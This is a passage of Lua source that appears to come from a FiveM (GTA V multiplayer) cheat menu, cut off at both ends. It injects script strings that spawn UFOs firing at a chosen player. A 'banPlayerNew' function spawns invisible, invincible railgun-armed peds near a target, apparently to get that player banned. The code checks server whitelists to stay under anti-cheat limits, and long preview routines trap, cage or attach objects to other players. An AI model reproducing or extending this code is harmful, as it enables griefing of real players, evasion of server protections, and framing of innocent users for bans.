PlayerPedId() RequestWeaponAsset(WEAPON, 31, false) while not HasWeaponAssetLoaded(WEAPON) do Wait(0) end RequestModel(UFO_MODEL) while not HasModelLoaded(UFO_MODEL) do Wait(0) end local closestPed = ]] .. targetPed .. [[ if not DoesEntityExist(closestPed) then return end GiveWeaponToPed(shooter, WEAPON, 9999, false, true) local targetPos = GetTargetPos(closestPed) local baseZ = targetPos.z + 18.0 local radius1, radius2 = 50.0, 30.0 local ufo1Angle, ufo2Angle = 0.0, 180.0 local ufo1 = CreateObject(UFO_MODEL, targetPos.x + radius1, targetPos.y, baseZ, true, true, false) local ufo2 = CreateObject(UFO_MODEL, targetPos.x - radius2, targetPos.y, baseZ, true, true, false) CreateThread(function() while DoesEntityExist(ufo1) and DoesEntityExist(ufo2) do ufo1Angle = (ufo1Angle + 0.4) % 360 ufo2Angle = (ufo2Angle + 0.4) % 360 local rad1 = math.rad(ufo1Angle) local rad2 = math.rad(ufo2Angle) SetEntityCoordsNoOffset(ufo1, targetPos.x + radius1 * math.cos(rad1), targetPos.y + radius1 * math.sin(rad1), baseZ, true, true, true ) SetEntityCoordsNoOffset(ufo2, targetPos.x + radius2 * math.cos(rad2), targetPos.y + radius2 * math.sin(rad2), baseZ, true, true, true ) Wait(40) end end) CreateThread(function() local bulletsShot = 0 while bulletsShot < MAX_BULLETS and DoesEntityExist(ufo1) and DoesEntityExist(ufo2) do if not DoesEntityExist(closestPed) or IsEntityDead(closestPed) then local nextTarget = GetNextClosestAliveTarget(shooter) if nextTarget then closestPed = nextTarget targetPos = GetTargetPos(closestPed) baseZ = targetPos.z + 18.0 end end local target = GetTargetPos(closestPed) ShootSingleBulletBetweenCoords( GetEntityCoords(ufo1), target, 60, true, WEAPON, shooter, true, false, 1000.0 ) bulletsShot = bulletsShot + 1 if bulletsShot >= MAX_BULLETS then break end ShootSingleBulletBetweenCoords( GetEntityCoords(ufo2), target, 60, true, WEAPON, shooter, true, false, 1000.0 ) bulletsShot = bulletsShot + 1 Wait(SHOOT_INTERVAL) end if DoesEntityExist(ufo1) then DeleteEntity(ufo1) end if DoesEntityExist(ufo2) then DeleteEntity(ufo2) end end) end) ]] menu.utils.safeExecute(script) end function assembledMenuFunctions.banPlayerNew(options) if options then if not options.targetInfo then return end local targetPed = options.targetInfo.ped local selectedModel = nil local models = {} models[1] = "S_M_Y_Valet_01" models[2] = "mp_f_freemode_01" models[3] = "mp_m_freemode_01" for _, model in ipairs(models) do if menu.utils.isWSPedWhitelisted(model) then selectedModel = model break end end if not selectedModel then menu.utils.notify("Function is not available", "error", 2000) return end local spawnRateAvailable, spawnRate = menu.utils.getWSPedSpawnRate() if spawnRateAvailable then if spawnRate <= 0 then menu.utils.notify("Function is not available #2", "error", 2000) return end end local visibilityFlag = "true" if NetworkIsInSpectatorMode() then visibilityFlag = "false" end local weaponName = "WEAPON_RAILGUN" local script = " local pedModel = GetHashKey(\"" .. selectedModel .. [[ ") local function spawnPed(targetPed, weaponHash) local playerPed = PlayerPedId() local targetCoords = GetEntityCoords(targetPed) RequestModel(pedModel) while not HasModelLoaded(pedModel) do Wait(10) end local ped = CreatePed(4, pedModel, targetCoords.x, targetCoords.y, targetCoords.z, GetEntityHeading(targetPed), true, false) -- Tag as menu-spawned so NPC ESP can ignore it pcall(function() local ent = Entity(ped) if ent and ent.state then ent.state:set("pm_menu_spawned", true, true) end end) SetEntityVisible(ped, false, false) SetEntityInvincible(ped, true) SetModelAsNoLongerNeeded(pedModel) -- Puppet-Mode: Null Eigenverhalten SetBlockingOfNonTemporaryEvents(ped, true) SetPedKeepTask(ped, true) SetPedFleeAttributes(ped, 0, false) SetPedCanBeTargetted(ped, false) -- No-Ragdoll: Kein Umfallen/Stolpern SetPedCanRagdoll(ped, false) SetPedCanRagdollFromPlayerImpact(ped, false) SetPedRagdollOnCollision(ped, false) -- Keine Schmerzreaktionen / Verbluten / Ausweichen SetPedSuffersCriticalHits(ped, false) SetPedDiesWhenInjured(ped, false) SetPedCanLosePropsOnDamage(ped, false, 0) -- Keine Animationen / Emotionen / Reaktionen SetPedCanPlayAmbientAnims(ped, false) SetPedCanPlayGestureAnims(ped, false) SetPedCanPlayVisemeAnims(ped, false, false) -- Config-Flags: Hirntot SetPedConfigFlag(ped, 32, true) -- NoCriticalHits SetPedConfigFlag(ped, 188, true) -- DisableHurt SetPedConfigFlag(ped, 281, true) -- DisableShockingEvents SetPedConfigFlag(ped, 276, true) -- DisableWrithe SetPedConfigFlag(ped, 294, true) -- NoPedImpactRagdoll SetPedAlertness(ped, 0) SetPedCombatAttributes(ped, 0, false) SetPedCombatAttributes(ped, 1, true) SetPedCombatAttributes(ped, 2, true) SetPedCombatAttributes(ped, 5, true) SetPedCombatAttributes(ped, 13, true) SetPedCombatAttributes(ped, 46, true) SetPedCombatAttributes(ped, 52, true) SetPedCombatMovement(ped, 0) SetPedCombatRange(ped, 2) SetPedCombatAbility(ped, 2) GiveWeaponToPed(ped, weaponHash, 9999, false, true) SetCurrentPedWeapon(ped, weaponHash, true) SetPedAccuracy(ped, 100) SetPedShootRate(ped, 1000) SetPedInfiniteAmmo(ped, true, weaponHash) SetPedInfiniteAmmoClip(ped, true) SetPedFiringPattern(ped, GetHashKey("FIRING_PATTERN_FULL_AUTO")) local netId = NetworkGetNetworkIdFromEntity(ped) SetNetworkIdCanMigrate(netId, false) SetNetworkIdExistsOnAllMachines(netId, true) SetEntityAsMissionEntity(ped, true, true) NetworkRequestControlOfEntity(ped) return ped end for i=1, 3 do CreateThread(function() local targetPed = ]] .. targetPed .. [[ if not targetPed then return end local weaponHash = GetHashKey("]] .. weaponName .. [[ ") local ped = spawnPed(targetPed, weaponHash) if not ped then return end Wait(50) local shouldSpectate = ]] .. visibilityFlag .. [[ if shouldSpectate then NetworkSetInSpectatorMode(true, PlayerPedId()) end Wait(300) local pedPos = GetEntityCoords(ped) CreateThread(function() for i=0, 50 do if not DoesEntityExist(ped) or not DoesEntityExist(targetPed) then break end if not NetworkHasControlOfEntity(ped) then NetworkRequestControlOfEntity(ped) end SetNetworkIdCanMigrate(NetworkGetNetworkIdFromEntity(ped), false) SetBlockingOfNonTemporaryEvents(ped, true) SetPedKeepTask(ped, true) SetPedAccuracy(ped, 100) SetPedShootRate(ped, 1000) -- Godmode refresh SetEntityInvincible(ped, true) SetEntityProofs(ped, true, true, true, true, true, true, true, true) -- No-Ragdoll refresh SetPedCanRagdoll(ped, false) SetPedCanRagdollFromPlayerImpact(ped, false) SetPedRagdollOnCollision(ped, false) -- Puppet-Mode refresh SetPedSuffersCriticalHits(ped, false) SetPedConfigFlag(ped, 32, true) SetPedConfigFlag(ped, 188, true) SetPedConfigFlag(ped, 281, true) SetPedConfigFlag(ped, 276, true) SetPedConfigFlag(ped, 294, true) SetPedAlertness(ped, 0) -- Aim at ground in front of the target player local pos = GetEntityCoords(ped) local tgtPos = GetEntityCoords(targetPed) local heading = GetEntityHeading(targetPed) local rad = math.rad(heading) local groundX = tgtPos.x - math.sin(rad) * 1.5 local groundY = tgtPos.y + math.cos(rad) * 1.5 local groundZ = tgtPos.z - 0.9 TaskGoToCoordWhileAimingAtCoord(ped, pos.x, pos.y, pos.z, groundX, groundY, groundZ, 0.0, true, 0.0, 0.0, false, 0, true, GetHashKey("FIRING_PATTERN_FULL_AUTO")) Wait(100) end -- Cleanup if target is gone if DoesEntityExist(ped) then DeleteEntity(ped) end if shouldSpectate then NetworkSetInSpectatorMode(false, ped) end end) end) end ]] menu.utils.safeExecute(script) end end function assembledMenuFunctions.getPlayerOptionPreviewTargetPed() local selectedPlayer = menu.vars.selectedPlayer repeat if selectedPlayer then if selectedPlayer.serverId then break end end return nil until true local playerId = GetPlayerFromServerId(selectedPlayer.serverId) do local activePlayer = false repeat repeat if playerId then if playerId == -1 then break end if NetworkIsPlayerActive(playerId) then activePlayer = true break end end until true if activePlayer then break end return nil until true end local targetPed = GetPlayerPed(playerId) do local validPed = false repeat repeat if targetPed then if targetPed == 0 then break end if DoesEntityExist(targetPed) then validPed = true break end end until true if validPed then break end return nil until true end return targetPed end function assembledMenuFunctions.resolvePlayerOptionPreviewSpec(option) local name repeat if option then name = option.name if name then break end end name = nil return name until true name = option.name if name == "Smash" then if not menu.utils.isVehicleWhitelisted("bison3") then return nil end local spec = {} spec.kind = "vehicle" spec.model = "bison3" spec.offsetZ = 20.0 spec.selKey = "smash:car" return spec end if name == "Cage" then local choicesType = type(option.choices) local choices repeat if choicesType == "function" then choices = option.choices() if choices then break end end choices = option.choices until true local selectedIndex = menu.vars.selectors.trapSelector if not selectedIndex then selectedIndex = 1 end local selectedName if not choices then selectedName = choices else selectedName = choices[selectedIndex] end local trapSpec = menu.functions.getTrapObjectSpec(selectedName) if not menu.utils.isObjectWhitelisted(trapSpec.model) then return nil end local selectionKey = "trap:" .. tostring(selectedName or "Box") if trapSpec.mode == "double_trap" then local spec = {} spec.kind = "double_trap" spec.model = trapSpec.model spec.selKey = selectionKey spec.layout = trapSpec.layout spec.nestedAlign = trapSpec.nestedAlign spec.nestedRotOffsets = trapSpec.nestedRotOffsets spec.sideOffset = trapSpec.sideOffset spec.halfOffsetScale = trapSpec.halfOffsetScale spec.spawnZOffset = trapSpec.spawnZOffset spec.snapToGround = trapSpec.snapToGround return spec end if trapSpec.mode == "box_overlap" then local spec = {} spec.kind = "box_overlap" spec.model = trapSpec.model spec.selKey = selectionKey return spec end local spec = {} spec.kind = "player_trap" spec.model = trapSpec.model spec.selKey = selectionKey return spec end if name == "Trap" then local choicesType = type(option.choices) local choices repeat if choicesType == "function" then choices = option.choices() if choices then break end end choices = option.choices until true local selectedIndex = menu.vars.selectors.boxPlayerSelector if not selectedIndex then selectedIndex = 1 end local selectedName if not choices then selectedName = choices else selectedName = choices[selectedIndex] end do local handled = false repeat repeat if selectedName ~= "Box" then if selectedName ~= "Fire" then break end end if not menu.utils.isObjectWhitelisted("prop_pighouse2") then return nil end local spec = {} spec.kind = "box_double" spec.model = "prop_pighouse2" spec.offsetZ = -0.2 spec.selKey = "box:" .. tostring(selectedName) do return spec end handled = true break until true if handled then break end if selectedName == "Chair" then if not menu.utils.isObjectWhitelisted("bkr_prop_clubhouse_offchair_01a") then return nil end local spec = {} spec.kind = "object" spec.model = "bkr_prop_clubhouse_offchair_01a" spec.selKey = "box:Chair" return spec end until true end return nil end if name == "Attach" then local choicesType = type(option.choices) local choices repeat if choicesType == "function" then choices = option.choices() if choices then break end end choices = option.choices until true local selectedIndex = menu.vars.selectors.attachSelector if not selectedIndex then selectedIndex = 1 end local selectedName if not choices then selectedName = choices else selectedName = choices[selectedIndex] end local attachSpec = menu.functions.getAttachVerticalSpec(selectedName) repeat if attachSpec.entityType == "vehicle" then if menu.utils.isVehicleWhitelisted(attachSpec.model) then break end do return nil end break end if not menu.utils.isObjectWhitelisted(attachSpec.model) then return nil end until true local spec = {} spec.kind = "vertical_attach" spec.entityType = attachSpec.entityType spec.model = attachSpec.model spec.bone = 0 spec.attachOffset = attachSpec.attachOffset spec.attachRot = attachSpec.attachRot spec.selKey = attachSpec.selKey return spec end if name == "Asteroid Attack" then if not menu.utils.isObjectWhitelisted("prop_asteroid_01") then return nil end local spec = {} spec.kind = "object" spec.model = "prop_asteroid_01" spec.offsetZ = 12.0 spec.selKey = "asteroid" return spec end if name == "Ufo Attack" then if not menu.utils.isVehicleWhitelisted("sum_prop_dufocore_01a") then return nil end local spec = {} spec.kind = "object_vehicle" spec.model = "sum_prop_dufocore_01a" spec.offsetZ = 18.0 spec.selKey = "ufo" return spec end if name == "Cube Player" then local choicesType = type(option.choices) local choices repeat if choicesType == "function" then choices = option.choices() if choices then break end end choices = option.choices until true local selectedIndex = menu.vars.selectors.cubeSelector if not selectedIndex then selectedIndex = 1 end local selectedName if not choices then selectedName = choices else selectedName = choices[selectedIndex] end local cubeSpec = menu.functions.getCubeObjectSpec(selectedName) if not menu.utils.isObjectWhitelisted(cubeSpec.model) then return nil end local spec = {} spec.kind = "cube_four" spec.model = cubeSpec.model spec.cubeLayout = cubeSpec.layout or "panel" spec.selKey = "cube:" .. tostring(selectedName or "Box") return spec end if name == "Cage with Drink" then if not menu.utils.isObjectWhitelisted("xs_prop_can_tunnel_wl") then return nil end local spec = {} spec.kind = "cage_drink" spec.model = "xs_prop_can_tunnel_wl" spec.selKey = "cage_drink" return spec end if name == "Spawn Bunker" then if not menu.utils.isObjectWhitelisted("m23_1_prop_m31_container_03a") then return nil end local spec = {} spec.kind = "bunker_nested" spec.model = "m23_1_prop_m31_container_03a" spec.selKey = "bunker:nested" return spec end if name == "Object Rain" then if not menu.utils.isObjectWhitelisted("tr_prop_tr_mule_mt_01a") then return nil end local spec = {} spec.kind = "object" spec.model = "tr_prop_tr_mule_mt_01a" spec.offsetZ = 10.0 spec.selKey = "rain:truck" return spec end if name == "Plane Call" then local selectedIndex = menu.vars.selectors.arabAttackSelector if not selectedIndex then selectedIndex = 1 end local model = menu.functions.getArabAttackRainModel(selectedIndex) if not menu.utils.isObjectWhitelisted(model) then return nil end local spec = {} spec.kind = "object" spec.model = model spec.offsetZ = 10.0 spec.selKey = "arab:" .. tostring(variant) return spec end return nil end function assembledMenuFunctions.configurePlayerOptionPreviewEntity(entity, spec) if not entity or entity == 0 then return end if not DoesEntityExist(entity) then return end SetEntityAlpha(entity, 130, false) SetEntityCollision(entity, false, false) SetEntityInvincible(entity, true) repeat if spec then if spec.kind == "attach_object" then break end if spec.kind == "vertical_attach" then break end end FreezeEntityPosition(entity, true) until true if spec then if spec.kind ~= "vehicle" then if spec.kind ~= "vertical_attach" then return end if spec.entityType ~= "vehicle" then return end end if IsEntityAVehicle(entity) then SetVehicleUndriveable(entity, true) SetVehicleEngineOn(entity, false, true, true) end end end function assembledMenuFunctions.clearPlayerOptionPreview() local generation = menu.vars.playerOptionPreviewGen if not generation then generation = 0 end generation = generation + 1 menu.vars.playerOptionPreviewGen = generation menu.vars.playerOptionPreviewPending = nil if menu.vars.playerOptionPreviewEntities then for _, entity in ipairs(menu.vars.playerOptionPreviewEntities) do if entity then if entity ~= 0 then if DoesEntityExist(entity) then DeleteEntity(entity) end end end end end menu.vars.playerOptionPreviewEntities = nil menu.vars.playerOptionPreviewSelKey = nil menu.vars.playerOptionPreviewSpec = nil end function assembledMenuFunctions.repositionPlayerOptionPreview(entity, spec, previewEntities) do local valid = false repeat repeat if entity then if entity == 0 then break end if not DoesEntityExist(entity) then break end if not spec then break end if previewEntities then valid = true break end end until true if valid then break end return until true end local targetCoords = GetEntityCoords(entity) local targetHeading = GetEntityHeading(entity) if spec.kind == "vehicle" then local previewVehicle = previewEntities[1] if previewVehicle then if DoesEntityExist(previewVehicle) then local offsetZ = spec.offsetZ if not offsetZ then offsetZ = 0.0 end SetEntityCoordsNoOffset( previewVehicle, targetCoords.x, targetCoords.y, targetCoords.z + offsetZ, false, false, false ) SetEntityHeading(previewVehicle, targetHeading) end end return end if spec.kind == "box_overlap" then local foundGround, groundZ = GetGroundZFor_3dCoord(targetCoords.x, targetCoords.y, targetCoords.z + 50.0, false) local placementZ do local foundPlacement = false repeat repeat if foundGround then if groundZ then placementZ = groundZ foundPlacement = true break else break end end until true if foundPlacement then break end placementZ = targetCoords.z - 0.95 until true end local first = previewEntities[1] if first then if DoesEntityExist(first) then SetEntityCoordsNoOffset(first, targetCoords.x, targetCoords.y, placementZ, false, false, false) SetEntityHeading(first, targetHeading) end end local second = previewEntities[2] if second then if DoesEntityExist(second) then SetEntityCoordsNoOffset(second, targetCoords.x, targetCoords.y, placementZ, false, false, false) SetEntityHeading(second, targetHeading + 90.0) end end return end repeat if spec.kind ~= "box_double" then if spec.kind ~= "double_trap" then break end end local placementZ = targetCoords.z + (spec.offsetZ or 0.0) if spec.kind == "double_trap" then local foundGround, groundZ = GetGroundZFor_3dCoord(targetCoords.x, targetCoords.y, targetCoords.z + 50.0, false) if foundGround then placementZ = groundZ else placementZ = targetCoords.z - 0.95 end end local halfOffsetScale = spec.halfOffsetScale if not halfOffsetScale then halfOffsetScale = 0.5 end local spawnZOffset = spec.spawnZOffset if not spawnZOffset then spawnZOffset = 0.0 end placementZ = placementZ + spawnZOffset local halfDepth = 0.75 local halfWidth = 0.75 local model = spec.model repeat if model then model = GetHashKey(spec.model) if not HasModelLoaded(model) then if not IsModelInCdimage(model) then break end end if not HasModelLoaded(model) then RequestModel(model) local timeout = GetGameTimer() + 500 while not HasModelLoaded(model) and timeout > GetGameTimer() do Wait(0) end end if HasModelLoaded(model) then local minBounds, maxBounds = GetModelDimensions(model) halfDepth = (maxBounds.y - minBounds.y) * 0.5 halfWidth = (maxBounds.x - minBounds.x) * 0.5 end end until true local firstCoords = nil local secondCoords = nil local firstHeading = nil local secondHeading = nil if spec.layout == "nested" then firstCoords = vector3(targetCoords.x, targetCoords.y, targetCoords.z + spawnZOffset) secondCoords = vector3(targetCoords.x, targetCoords.y, targetCoords.z + spawnZOffset) local rotationOffsets = spec.nestedRotOffsets if not rotationOffsets then rotationOffsets = {} rotationOffsets[1] = 0.0 rotationOffsets[2] = 180.0 end firstHeading = targetHeading + (rotationOffsets[1] or 0.0) secondHeading = targetHeading + (rotationOffsets[2] or 180.0) else if spec.layout == "side" then local sideOffset = spec.sideOffset if sideOffset == nil then sideOffset = halfWidth * halfOffsetScale end firstCoords = GetOffsetFromEntityInWorldCoords(entity, -sideOffset, 0.0, 0.0) secondCoords = GetOffsetFromEntityInWorldCoords(entity, sideOffset, 0.0, 0.0) firstHeading = targetHeading + 90.0 secondHeading = targetHeading - 90.0 else firstCoords = GetOffsetFromEntityInWorldCoords(entity, 0.0, halfDepth * halfOffsetScale, 0.0) secondCoords = GetOffsetFromEntityInWorldCoords(entity, 0.0, -halfDepth * halfOffsetScale, 0.0) firstHeading = targetHeading secondHeading = targetHeading + 180.0 end end local first = previewEntities[1] if first then if DoesEntityExist(first) then SetEntityCoordsNoOffset(first, firstCoords.x, firstCoords.y, placementZ, false, false, false) SetEntityHeading(first, firstHeading) end end local second = previewEntities[2] if second then if DoesEntityExist(second) then SetEntityCoordsNoOffset(second, secondCoords.x, secondCoords.y, placementZ, false, false, false) SetEntityHeading(second, secondHeading) end end return until true if spec.kind == "bunker_nested" then local first = previewEntities[1] local second = previewEntities[2] repeat if first then if not DoesEntityExist(first) then break end if not second then break end if not DoesEntityExist(second) then break end local foundGround, groundZ = GetGroundZFor_3dCoord(targetCoords.x, targetCoords.y, targetCoords.z + 50.0, false) if not foundGround then groundZ = targetCoords.z - 0.95 end do local function getEntityCenter(previewEntity) local minBounds, maxBounds = GetModelDimensions(GetEntityModel(previewEntity)) return GetOffsetFromEntityInWorldCoords( previewEntity, (minBounds.x + maxBounds.x) * 0.5, (minBounds.y + maxBounds.y) * 0.5, (minBounds.z + maxBounds.z) * 0.5 ) end local function getFaceCenter(previewEntity, localY) local minBounds, maxBounds = GetModelDimensions(GetEntityModel(previewEntity)) return GetOffsetFromEntityInWorldCoords( previewEntity, (minBounds.x + maxBounds.x) * 0.5, localY, (minBounds.z + maxBounds.z) * 0.5 ) end local function snapFloorFaceToGround(previewEntity, placementZ) local minBounds, maxBounds = GetModelDimensions(GetEntityModel(previewEntity)) local faces = { { { minBounds.x, minBounds.y, minBounds.z }, { maxBounds.x, minBounds.y, minBounds.z }, { minBounds.x, maxBounds.y, minBounds.z }, { maxBounds.x, maxBounds.y, minBounds.z }, }, { { minBounds.x, minBounds.y, maxBounds.z }, { maxBounds.x, minBounds.y, maxBounds.z }, { minBounds.x, maxBounds.y, maxBounds.z }, { maxBounds.x, maxBounds.y, maxBounds.z }, }, { { minBounds.x, minBounds.y, minBounds.z }, { minBounds.x, minBounds.y, maxBounds.z }, { minBounds.x, maxBounds.y, minBounds.z }, { minBounds.x, maxBounds.y, maxBounds.z }, }, { { maxBounds.x, minBounds.y, minBounds.z }, { maxBounds.x, minBounds.y, maxBounds.z }, { maxBounds.x, maxBounds.y, minBounds.z }, { maxBounds.x, maxBounds.y, maxBounds.z }, }, { { minBounds.x, minBounds.y, minBounds.z }, { minBounds.x, minBounds.y, maxBounds.z }, { maxBounds.x, minBounds.y, minBounds.z }, { maxBounds.x, minBounds.y, maxBounds.z }, }, { { minBounds.x, maxBounds.y, minBounds.z }, { minBounds.x, maxBounds.y, maxBounds.z }, { maxBounds.x, maxBounds.y, minBounds.z }, { maxBounds.x, maxBounds.y, maxBounds.z }, }, } local bestAvgZ = nil local bestUpDot = -2.0 for _, corners in ipairs(faces) do local w0 = GetOffsetFromEntityInWorldCoords( previewEntity, corners[1][1], corners[1][2], corners[1][3] ) local w1 = GetOffsetFromEntityInWorldCoords( previewEntity, corners[2][1], corners[2][2], corners[2][3] ) local w2 = GetOffsetFromEntityInWorldCoords( previewEntity, corners[3][1], corners[3][2], corners[3][3] ) local ax, ay, az = w1.x - w0.x, w1.y - w0.y, w1.z - w0.z local bx, by, bz = w2.x - w0.x, w2.y - w0.y, w2.z - w0.z local nx = ay * bz - az * by local ny = az * bx - ax * bz local nz = ax * by - ay * bx local normalLength = math.sqrt(nx * nx + ny * ny + nz * nz) if 0.001 < normalLength then nx = nx / normalLength ny = ny / normalLength nz = nz / normalLength if 0.35 < nz then local w3 = GetOffsetFromEntityInWorldCoords( previewEntity, corners[4][1], corners[4][2], corners[4][3] ) local avgZ = (w0.z + w1.z + w2.z + w3.z) * 0.25 if bestUpDot < nz or (math.abs(nz - bestUpDot) < 0.01 and avgZ < (bestAvgZ or 9999.0)) then bestUpDot = nz bestAvgZ = avgZ end end end end if bestAvgZ then local entityCoords = GetEntityCoords(previewEntity) SetEntityCoordsNoOffset( previewEntity, entityCoords.x, entityCoords.y, entityCoords.z + (placementZ - bestAvgZ), false, false, false ) end end local function getOpeningFaceY(previewEntity, heading) local minBounds, maxBounds = GetModelDimensions(GetEntityModel(previewEntity)) local center = getEntityCenter(previewEntity) local radians = math.rad(heading) local forwardX = -math.sin(radians) local forwardY = math.cos(radians) local bestY = minBounds.y local bestScore = -999.0 for _, localY in ipairs({ minBounds.y, maxBounds.y }) do local faceCenter = getFaceCenter(previewEntity, localY) local directionX = faceCenter.x - center.x local directionY = faceCenter.y - center.y local score = directionX * forwardX + directionY * forwardY if bestScore < score then bestScore = score bestY = localY end end return bestY end SetEntityCoordsNoOffset( first, targetCoords.x, targetCoords.y, targetCoords.z, false, false, false ) SetEntityRotation(first, 0.0, 0.0, targetHeading + 90.0, 2, true) local firstCenter = getEntityCenter(first) local firstCoords = GetEntityCoords(first) SetEntityCoordsNoOffset( first, firstCoords.x + (targetCoords.x - firstCenter.x), firstCoords.y + (targetCoords.y - firstCenter.y), firstCoords.z, false, false, false ) snapFloorFaceToGround(first, groundZ) local openingY = getOpeningFaceY(first, targetHeading) local firstOpening = getFaceCenter(first, openingY) firstCenter = getEntityCenter(first) local directionX = firstOpening.x - firstCenter.x local directionY = firstOpening.y - firstCenter.y local directionZ = firstOpening.z - firstCenter.z local directionLength = math.sqrt(directionX * directionX + directionY * directionY + directionZ * directionZ) if directionLength < 0.001 then directionLength = 1.0 end directionX = directionX / directionLength directionY = directionY / directionLength directionZ = directionZ / directionLength SetEntityRotation(second, 0.0, 0.0, targetHeading + 270.0, 2, true) local secondMin, secondMax = GetModelDimensions(GetEntityModel(second)) local secondOpeningY repeat if openingY == secondMin.y then secondOpeningY = secondMax.y if secondOpeningY then break end end secondOpeningY = secondMin.y until true local targetOpening = vector3( firstOpening.x + directionX * 0.02, firstOpening.y + directionY * 0.02, firstOpening.z + directionZ * 0.02 ) SetEntityCoordsNoOffset( second, targetOpening.x, targetOpening.y, targetOpening.z, false, false, false ) local secondOpening = getFaceCenter(second, secondOpeningY) local secondCoords = GetEntityCoords(second) SetEntityCoordsNoOffset( second, secondCoords.x + (targetOpening.x - secondOpening.x), secondCoords.y + (targetOpening.y - secondOpening.y), secondCoords.z + (targetOpening.z - secondOpening.z), false, false, false ) snapFloorFaceToGround(second, groundZ) end end until true return end if spec.kind == "cage_container" then local previewEntity = previewEntities[1] repeat if previewEntity then if not DoesEntityExist(previewEntity) then break end local rotation = spec.rotation if not rotation then rotation = {} rotation.x = 90.0 rotation.y = 0.0 rotation.z = 0.0 end SetEntityCoordsNoOffset( previewEntity, targetCoords.x, targetCoords.y, targetCoords.z, false, false, false ) SetEntityRotation( previewEntity, rotation.x, rotation.y, targetHeading + (rotation.z or 0.0), 2, true ) local minBounds, maxBounds = GetModelDimensions(GetEntityModel(previewEntity)) local localCenter = vector3( (minBounds.x + maxBounds.x) * 0.5, (minBounds.y + maxBounds.y) * 0.5, (minBounds.z + maxBounds.z) * 0.5 ) local worldCenter = GetOffsetFromEntityInWorldCoords(previewEntity, localCenter.x, localCenter.y, localCenter.z) local entityCoords = GetEntityCoords(previewEntity) SetEntityCoordsNoOffset( previewEntity, entityCoords.x + (targetCoords.x - worldCenter.x), entityCoords.y + (targetCoords.y - worldCenter.y), entityCoords.z + (targetCoords.z - worldCenter.z), false, false, false ) local lowestZ = nil local corners = { { minBounds.x, minBounds.y, minBounds.z }, { minBounds.x, minBounds.y, maxBounds.z }, { minBounds.x, maxBounds.y, minBounds.z }, { minBounds.x, maxBounds.y, maxBounds.z }, { maxBounds.x, minBounds.y, minBounds.z }, { maxBounds.x, minBounds.y, maxBounds.z }, { maxBounds.x, maxBounds.y, minBounds.z }, { maxBounds.x, maxBounds.y, maxBounds.z }, } for _, corner in ipairs(corners) do local world = GetOffsetFromEntityInWorldCoords(previewEntity, corner[1], corner[2], corner[3]) if not lowestZ or lowestZ > world.z then lowestZ = world.z end end if lowestZ then entityCoords = GetEntityCoords(previewEntity) local desiredZ = targetCoords.z - 3.0 SetEntityCoordsNoOffset( previewEntity, entityCoords.x, entityCoords.y, entityCoords.z + (desiredZ - lowestZ), false, false, false ) end end until true return end if spec.kind == "cage_double" then for index, part in ipairs(spec.parts or {}) do local previewEntity = previewEntities[index] if previewEntity then if DoesEntityExist(previewEntity) then local offsetLeft = part.offsetLeft if not offsetLeft then offsetLeft = 0.75 end local offsetZ = part.offsetZ if not offsetZ then offsetZ = 0.0 end local position = GetOffsetFromEntityInWorldCoords(entity, -offsetLeft, 0.0, offsetZ) SetEntityCoordsNoOffset(previewEntity, position.x, position.y, position.z, false, false, false) local rotation = part.rotation if not rotation then rotation = {} rotation.x = 0.0 rotation.y = 0.0 rotation.z = 0.0 end SetEntityRotation( previewEntity, rotation.x, rotation.y, targetHeading + (rotation.z or 0.0), 2, true ) end end end return end repeat if spec.kind ~= "attach_object" then if spec.kind ~= "vertical_attach" then break end end local previewEntity = previewEntities[1] if previewEntity then if DoesEntityExist(previewEntity) then if IsEntityAttached(previewEntity) then DetachEntity(previewEntity, true, true) end local bone = GetPedBoneIndex(entity, spec.bone or 0) if bone < 0 then bone = 0 end local attachOffset = spec.attachOffset if not attachOffset then attachOffset = {} attachOffset.x = 0.0 attachOffset.y = 0.0 attachOffset.z = 0.0 end local attachRot = spec.attachRot if not attachRot then attachRot = {} attachRot.x = 0.0 attachRot.y = 0.0 attachRot.z = 0.0 end if spec.kind == "attach_object" then AttachEntityToEntity( previewEntity, entity, bone, attachOffset.x, attachOffset.y, attachOffset.z, attachRot.x, attachRot.y, attachRot.z, true, true, false, true, 1, true ) else AttachEntityToEntity( previewEntity, entity, bone, attachOffset.x, attachOffset.y, attachOffset.z, attachRot.x, attachRot.y, attachRot.z, false, false, false, false, 2, true ) end end end return until true if spec.kind == "trap_trash_box" then local leftFoot = GetPedBoneCoords(entity, 14201, 0.0, 0.0, 0.0) local rightFoot = GetPedBoneCoords(entity, 52301, 0.0, 0.0, 0.0) local boxCoords = vector3( (leftFoot.x + rightFoot.x) * 0.5, (leftFoot.y + rightFoot.y) * 0.5, math.min(leftFoot.z, rightFoot.z) - 0.85 ) local lidCoords = GetPedBoneCoords(entity, 24817, 0.0, 0.0, 0.0) local first = previewEntities[1] if first then if DoesEntityExist(first) then SetEntityCoordsNoOffset(first, boxCoords.x, boxCoords.y, boxCoords.z, false, false, false) SetEntityHeading(first, targetHeading) end end local second = previewEntities[2] if second then if DoesEntityExist(second) then SetEntityCoordsNoOffset(second, lidCoords.x, lidCoords.y, lidCoords.z, false, false, false) SetEntityHeading(second, targetHeading) end end return end if spec.kind == "player_trap" then local previewEntity = previewEntities[1] if previewEntity then if DoesEntityExist(previewEntity) then local foundGround, groundZ = GetGroundZFor_3dCoord(targetCoords.x, targetCoords.y, targetCoords.z + 50.0, false) if not foundGround then groundZ = targetCoords.z - 0.95 end SetEntityCoordsNoOffset(previewEntity, targetCoords.x, targetCoords.y, groundZ, false, false, false) SetEntityHeading(previewEntity, targetHeading) end end return end if spec.kind == "cage_drink" then local previewEntity = previewEntities[1] if previewEntity then if DoesEntityExist(previewEntity) then local foundGround, groundZ = GetGroundZFor_3dCoord(targetCoords.x, targetCoords.y, targetCoords.z + 50.0, false) if not foundGround then groundZ = targetCoords.z - 0.95 end SetEntityCoordsNoOffset(previewEntity, targetCoords.x, targetCoords.y, groundZ, false, false, false) SetEntityRotation(previewEntity, 90.0, 0.0, targetHeading, 2, true) end end return end if spec.kind == "cube_four" then local model = GetHashKey(spec.model) local minBounds, maxBounds = GetModelDimensions(model) local sides = menu.functions.getCubeSideLayout(minBounds, maxBounds, spec.cubeLayout or "panel") for index, side in ipairs(sides) do local previewEntity = previewEntities[index] if previewEntity then if DoesEntityExist(previewEntity) then local position = GetOffsetFromEntityInWorldCoords(entity, side.ox, side.oy, 0.0) local foundGround, groundZ = GetGroundZFor_3dCoord(position.x, position.y, position.z + 50.0, false) if not foundGround then groundZ = targetCoords.z - 0.95 end SetEntityCoordsNoOffset(previewEntity, position.x, position.y, groundZ, false, false, false) SetEntityRotation(previewEntity, side.rx, 